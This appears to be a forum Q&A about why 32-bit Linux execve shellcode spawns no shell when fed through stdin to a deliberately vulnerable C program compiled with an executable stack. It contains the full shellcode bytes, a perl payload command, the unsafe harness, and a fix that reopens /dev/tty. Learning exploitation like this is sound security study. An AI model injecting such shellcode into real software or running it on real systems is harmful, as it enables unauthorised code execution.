I will preface by saying that i did the research but couldn't found the answer to my basic problem.
I want to launch a shell from a shellcode through a basic program. This is the shellcode used, that should be working by now:
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: 31 d2 xor edx, edx
17: cd 80 int 0x80
The weird thing is this shellcode is working when used like so:
char *shellcode = "\x31[...]x80";
int main(void)
{
(*(void(*)()) shellcode)();
return 0;
}
But not when read from stdin with this program (compiled with the following flags:
gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack):
Code:
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
((func)&input)();
return 0;
}
What happen with the second program is that the program simply quits with no error code and no shell spawned.
Strace shows me that in the second program, a shell is properly launched:
read(0, "1\300Ph//shh/bin\211\343PS\211\341\260\v1\322\315\200", 4096) = 26
execve("/bin//sh", ["/bin//sh"], NULL) = 0
strace: [ Process PID=3139 runs in 64 bit mode. ]
But this line near the end is highly suspicious since I'm not asked to do anything:
read(0, "", 8192) = 0
It seems that I'm sending a null byte somehow to the spawned shell and it kills it. I first though that I'm not properly setting up my shellcode file, but those are the commands I use:
perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin
./vuln < payload.bin
I also tried using this command but got the same result:
perl -e 'print "[...]" | ./vuln
I also checked the chars inside the file, but the file weights 25 oct. for a shellcode of the same size so this shouldn't be the problem.
Am i using the proper way to give a shellcode from stdin or is there another way ? If no, where does the problem come from?
Thanks
The problem is that in the second program, you've redirected standard input to the pipe. The shell that's spawned tries to read from the pipe, gets EOF, so it exits.
You can redirect standard input back to the terminal before running the shellcode.
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
freopen("/dev/tty", "r", stdin);
((func)&input)();
return 0;
}